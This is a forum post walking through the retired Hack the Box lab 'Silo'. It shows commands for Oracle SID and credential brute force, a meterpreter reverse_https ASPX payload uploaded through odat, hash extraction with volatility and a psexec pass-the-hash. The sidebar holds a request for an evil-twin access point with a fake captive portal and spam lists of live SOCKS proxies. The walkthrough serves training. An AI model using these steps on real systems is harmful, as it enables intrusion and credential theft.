Jump to content
Anastasis

Hack the Box: Silo Walkthrough

Recommended Posts

Anastasis

Hello friends!! Today we are going to solve another CTF challenge “Silo” which is available online for those who want to increase their skill in penetration testing and black box testing. Silo is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Steps involved:

  1. Post scanning to discover open ports
  2. SID brute force
  3. Credential brute force
  4. Create payload
  5. Setup listener
  6. Upload shell with odat.py
  7. Getting meterpreter shell
  8. Finding user.txt
  9. Downloading zip file from dropbox
  10. Finding password hashes in memory dump
  11. Privilege escalation using pass the hash technique
  12. Finding root.txt

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.82 so let’s begin with nmap port enumeration.

nmap -A 10.10.10.82
1
nmap -A 10.10.10.82

From given below image, you can observe we find only port 80, 135, 139, 445, 1521, 49152-49161 is open on target system.

1.png?w=687&ssl=1

As port 80 is running http server we open the target machine’s ip address in our browser, and find that it contains the default IIS page.

2.png?w=687&ssl=1

We have oracle database listening remotely on port 1521, we need to find the valid SID and credentials in order to connect to the database.

We first need to get the SID for the oracle service, so we use metasploit to brute force the valid SID.

msf > use auxiliary/admin/oracle/sid_brute msf auxiliary(admin/oracle/sid_brute) > set rhost 10.10.10.82 msf auxiliary(admin/oracle/sid_brute) > run
1
2
3
msf > use auxiliary/admin/oracle/sid_brute
msf auxiliary(admin/oracle/sid_brute) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/sid_brute) > run

5.png?w=687&ssl=1

After finding the SID, we brute force the valid credentials using metasploit.

msf > use auxiliary/admin/oracle/oracle_login msf auxiliary(admin/oracle/oracle_login) > set sid XE msf auxiliary(admin/oracle/oracle_login) > set rhost 10.10.10.82 msf auxiliary(admin/oracle/oracle_login) > run
1
2
3
4
msf > use auxiliary/admin/oracle/oracle_login
msf auxiliary(admin/oracle/oracle_login) > set sid XE
msf auxiliary(admin/oracle/oracle_login) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/oracle_login) > run

 6.png?w=687&ssl=1

We are unable to get a shell with reverse_tcp, so we use reverse_https payload. We create a 64-bit payload as the nmap scan shows us that the Operating system is 64-bit windows server.

msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.14.8 lport=443 -f aspx > /tmp/Shell.aspx
1
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.14.8 lport=443 -f aspx > /tmp/Shell.aspx

7.png?w=687&ssl=1

We setup our listener before upload the payload to the target machine.

msf > use multi/handler msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https msf exploit(multi/handler) > set lhost 10.10.14.8 msf exploit(multi/handler) > set lport 443 msf exploit(multi/handler) > run
1
2
3
4
5
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost 10.10.14.8
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run

 8.png?w=687&ssl=1

We use this script called odat to further exploit the oracle database(you can download the script here). As we have the valid credentials and the valid SID we use this to login into the database and upload our asp shell in IIS default directory.

./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /tmp/Shell.aspx --sysdba
1
./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /tmp/Shell.aspx --sysdba

9.png?w=687&ssl=1

As soon as we run the shell on the target machine, we get a reverse shell.

10.png?w=687&ssl=1

Enumerating through the directories we find two files in “C:\Users\Phineas\Desktop” called “user.txt” and “Oracle issue.txt”. We take a look at the content of user.txt and find our first flag.

11.png?w=687&ssl=1

We take a look at the content of “Oracle issue.txt” and find a link to a dropbox and a password in which the first char is not being rendered by kali linux.

12.png?w=687&ssl=1

We find the unrecognized character to be the pound symbol (£). We use the password to login and find a zip file, we download the file into our system.

13.png?w=687&ssl=1

After downloading the zip file, we unzip it and find that it contains a memory dump. We use volatility tool to investigate the dump.

volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hivelist
1
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hivelist

14.png?w=687&ssl=1

We now can dump the hashes by supplying the need address which is SYSTEM and SAM.

volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 -y 0xffffc00000028000 -s 0xffffc00000619000
1
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 -y 0xffffc00000028000 -s 0xffffc00000619000

15.png?w=687&ssl=1

As we have the password hash for “Administrator” we use Pass the Hash technique to get a privileged shell.

msf > use exploit/windows/smb/psexec msf exploit(windows/smb/psexec) > set smbuser Administrator msf exploit(windows/smb/psexec) > set smbpass <hash> msf exploit(windows/smb/psexec) > set set rhost 10.10.10.82 msf exploit(windows/smb/psexec) > run
1
2
3
4
5
msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > set smbuser Administrator
msf exploit(windows/smb/psexec) > set smbpass <hash>
msf exploit(windows/smb/psexec) > set set rhost 10.10.10.82
msf exploit(windows/smb/psexec) > run

16.png?w=687&ssl=1

After getting a privileged shell, inside “C:\Users\Administrator\Desktop” we find a file called root.txt. We open root.txt and find the final flag.

17.png?w=687&ssl=1

 

Share this post


Link to post
Share on other sites

Δημιουργήστε ένα λογαριασμό ή συνδεθείτε προκειμένου να το δείτε

Πρέπει να είστε μέλος για να μπορέσετε να αφήσετε κάποιο σχόλιο

Δημιουργία λογαριασμού

Κάντε μια δωρεάν εγγραφή στην κοινότητά μας. Η εγγραφές μας είναι εύκολες.!

Εγγραφή τώρα

Σύνδεση

Εάν έχετε ήδη λογαριασμό σε αυτό το Forum; Συνδεθείτε εδώ.

Συνδεθείτε τώρα

  • Μηνύματα

    • de4d_R1n63r
      Πως μπορώ να δημιουργήσω ένα evilAP (Access Point) όπου όταν ένας χρήστης συνδέεται θα πρέπει πρώτα να περάσει από ένα fake captive Portal που εχω φτοιάξει εγώ και το τρέχω στο localhost?  Παράδειγμα: όπως οι καφετέριες έχουν το Free access Captive Portal! Όπου Πρέπει να κάνεις Κλικ κάπου πρώτα και μετά μπορείς να συνεχισεις να σερφάρεις «ανενοχλητος». Κατάφερα Να στήσω ενα Access Point με το mitmAP.py αλλά κολλάω στη Δημιουργία Του Captive Portal...  Λογισμικό : kali Linux 2.0 Virtual machine Οποιαδήποτε βοήθεια είναι καλοδεχούμενη!  Σας ευχαριστώ Πολύ! 
    • dichvusocks
      Payment Instantly perfectmoney, bitcoin, wmtransfer, wex, ETH (Please click Buy Socks)
      Update Tools Client Dichvusocks.us http://dichvusocks.us/tools.php Link check socks http://check.dichvusocks.us/
      LIVE | 37.59.8.29:19571 | 1.52 | Unknow | Unknow | ns3099982.ovh.net | France | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 103.21.163.81:6667 | 1.69 | Gujarat | 396445 | N/A | India | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 188.120.228.252:42796 | 1.72 | Unknow | Unknow | stylemax.ru | Russian Federation | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 150.129.52.74:6667 | 1.22 | Gujarat | 394601 | N/A | India | Blacklist: No | Checked at http://dichvusocks.us
      LIVE | 79.137.72.22:56975 | 0.5 | Unknow | Unknow | 22.ip-79-137-72.eu | France | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 118.139.176.242:40440 | 0.73 | Unknow | Unknow | ip-118-139-176-242.ip.secureserver.net | Singapore | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 95.110.227.5:50459 | 0.61 | Toscana | 52100 | host5-227-110-95.serverdedicati.aruba.it | Italy | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 103.250.148.82:6667 | 1.05 | Gujarat | 382845 | N/A | India | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 192.169.140.100:28724 | 1.56 | Arizona | 85260 | ip-192-169-140-100.ip.secureserver.net | United States | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 132.148.130.208:24484 | 1.36 | California | 92603 | ip-132-148-130-208.ip.secureserver.net | United States | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 192.169.202.104:36198 | 1.75 | Arizona | 85260 | ip-192-169-202-104.ip.secureserver.net | United States | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 192.169.196.126:6365 | 1.76 | Arizona | 85260 | ip-192-169-196-126.ip.secureserver.net | United States | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 118.139.176.242:61359 | 0.74 | Unknow | Unknow | ip-118-139-176-242.ip.secureserver.net | Singapore | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 37.208.69.147:9050 | 0.86 | Unknow | Unknow | stitu.shapefeeds.com | Anonymous Proxy | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 103.250.166.4:6667 | 1.08 | Gujarat | 370201 | N/A | India | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 125.227.69.220:3261 | 0.91 | Unknow | Unknow | 114-26-161-57.dynamic-ip.hinet.net | Taiwan | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 43.224.8.121:6667 | 1.29 | Gujarat | 363001 | N/A | India | Blacklist: Yes | Checked at http://dichvusocks.us
      LIVE | 150.129.52.75:6667 | 1.44 | Gujarat | 394601 | N/A | India | Blacklist: Yes | Checked at http://dichvusocks.us
       
    • vn5socks.net
      LIVE ~ 204.42.255.250:13264 | 0.245 | Englewood | CO | 80112 | United States | Checked at vn5socks.net
      LIVE ~ 37.59.56.88:17371 | 0.235 | Unknown | Unknown | Unknown | France | Checked at vn5socks.net
      LIVE ~ 66.110.216.221:39603 | 0.303 | Atlanta | GA | 30328 | United States | Checked at vn5socks.net
      LIVE ~ 184.185.2.146:47659 | 0.292 | Unknown | Unknown | Unknown | United States | Checked at vn5socks.net
      LIVE ~ 165.227.214.55:2018 | 0.232 | Santa Cruz | CA | 95060 | United States | Checked at vn5socks.net
      LIVE ~ 52.196.27.196:34000 | 0.107 | Wilmington | DE | 19893 | United States | Checked at vn5socks.net
      LIVE ~ 45.55.169.78:19556 | 0.269 | Unknown | Unknown | Unknown | Unknown | Checked at vn5socks.net
      LIVE ~ 72.11.148.222:56533 | 0.197 | Los Angeles | CA | 90014 | United States | Checked at vn5socks.net
      LIVE ~ 216.21.200.120:10200 | 0.239 | Walpole | ME | 04573 | United States | Checked at vn5socks.net
      LIVE ~ 66.110.216.105:39431 | 0.302 | Atlanta | GA | 30328 | United States | Checked at vn5socks.net
      LIVE ~ 192.169.250.198:40710 | 0.193 | Unknown | Unknown | Unknown | Unknown | Checked at vn5socks.net
      LIVE ~ 192.169.180.124:6085 | 0.221 | Unknown | Unknown | Unknown | Unknown | Checked at vn5socks.net
      LIVE ~ 69.198.62.206:39593 | 0.364 | Richardson | TX | Unknown | United States | Checked at vn5socks.net
      LIVE ~ 50.63.153.173:46311 | 0.196 | Scottsdale | AZ | 85260 | United States | Checked at vn5socks.net
      LIVE ~ 192.169.188.100:53562 | 0.194 | Unknown | Unknown | Unknown | Unknown | Checked at vn5socks.net
      LIVE ~ 173.249.7.249:34925 | 0.258 | Pacifica | CA | 94044 | United States | Checked at vn5socks.net
      LIVE ~ 192.210.202.156:2018 | 0.237 | Unknown | Unknown | Unknown | Unknown | Checked at vn5socks.net
      LIVE ~ 50.63.153.173:25515 | 0.2 | Scottsdale | AZ | 85260 | United States | Checked at vn5socks.net
    • tisocks
      SOCKS Proxy List by Tisocks.net
      If you Need Socks5 , Please visit service and add fund via PM , BTC WMZ , WEX . Thanks all!!
      Add fund : https://tisocks.net/addfund
      Check socks5 Online here : https://checksocks5.com
      LIVE | 64.118.87.14:40028 | 0.052 | SOCKS5 | New Jersey | 07310 | drive500.123servers.com | United States | Checked at https://tisocks.net
      LIVE | 64.118.87.11:40028 | 0.052 | SOCKS5 | New Jersey | 07310 | drive500.123servers.com | United States | Checked at https://tisocks.net
      LIVE | 64.118.88.53:40028 | 0.052 | SOCKS5 | New Jersey | 07310 | drive500.123servers.com | United States | Checked at https://tisocks.net
      LIVE | 79.137.72.22:56975 | 0.335 | SOCKS5 | Unknow | Unknow | 22.ip-79-137-72.eu | France | Checked at https://tisocks.net
      LIVE | 192.169.142.205:4265 | 0.281 | SOCKS5 | Arizona | 85260 | ip-192-169-136-149.ip.secureserver.net | United States | Checked at https://tisocks.net
      LIVE | 64.130.131.172:34048 | 0.224 | SOCKS5 | Kentucky | 42141 | 64-130-131-172.pool.dsl.scrtc.com | United States | Checked at https://tisocks.net
      LIVE | 69.89.101.16:62720 | 0.169 | SOCKS5 | Michigan | 48915 | 69-89-101-16.dhcp.acd.net | United States | Checked at https://tisocks.net
      LIVE | 164.132.20.94:12968 | 0.252 | SOCKS5 | Georgia | 30736 | 64-18-108-170.hsi.catt.com | United States | Checked at https://tisocks.net
      LIVE | 96.31.247.253:38882 | 0.447 | SOCKS5 | California | 90009 | 96-31-247-253-static-ip.telepacific.net | United States | Checked at https://tisocks.net
      LIVE | 149.56.65.157:46684 | 0.324 | SOCKS5 | Al Qahirah | Unknow | host-41.234.217.155.tedata.net | Egypt | Checked at https://tisocks.net
      LIVE | 192.169.140.74:58022 | 0.279 | SOCKS5 | Arizona | 85260 | ip-192-169-140-74.ip.secureserver.net | United States | Checked at https://tisocks.net
      LIVE | 163.172.202.116:42908 | 0.265 | SOCKS5 | Michigan | 48066 | c-68-36-229-146.hsd1.mi.comcast.net | United States | Checked at https://tisocks.net
      LIVE | 149.56.65.157:58128 | 0.404 | SOCKS5 | Region Metropolitana | Unknow | N/A | Chile | Checked at https://tisocks.net
      LIVE | 185.244.128.102:28102 | 0.555 | SOCKS5 | Unknow | Unknow | N/A | Romania | Checked at https://tisocks.net
      LIVE | 64.118.88.39:40028 | 0.059 | SOCKS5 | New Jersey | 07310 | drive500.123servers.com | United States | Checked at https://tisocks.net
    • shopsocks5.com
      [Shopsocks5.com] Service Socks5 Cheap
      Payment Instantly Perfectmoney, Bitcoin, Wmtransfer, BTC-E ( Please click Buy Socks )
      Check Socks Online  http://shopsocks5.com/check/




        Live | 184.185.2.146:47659 | United States | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 72.210.252.134:46164 | United States | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 14.102.109.133:10198 | India | New Delhi | 07 | Unknown | Checked at Shopsocks5.com Live | 138.68.59.157:1210 | United States | Wilmington | DE | 19880 | Checked at Shopsocks5.com Live | 31.148.219.150:1443 | Netherlands | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 173.245.239.223:16938 | United States | Atlanta | GA | 30328 | Checked at Shopsocks5.com Live | 208.97.31.229:53124 | United States | Atlanta | GA | 30328 | Checked at Shopsocks5.com Live | 72.49.49.11:31034 | United States | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 205.240.205.108:25798 | Honduras | San Pedro Sula | 06 | Unknown | Checked at Shopsocks5.com Live | 69.61.200.104:36181 | United States | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 216.144.230.233:15993 | United States | Santa Ana | CA | 92705 | Checked at Shopsocks5.com Live | 204.42.255.250:13264 | United States | Englewood | CO | 80111 | Checked at Shopsocks5.com Live | 98.172.253.157:40753 | United States | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 37.59.56.88:3605 | France | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 72.11.148.222:56533 | United States | Los Angeles | CA | 90014 | Checked at Shopsocks5.com Live | 52.196.27.196:34000 | Japan | Tokyo | 40 | 100-0001 | Checked at Shopsocks5.com
×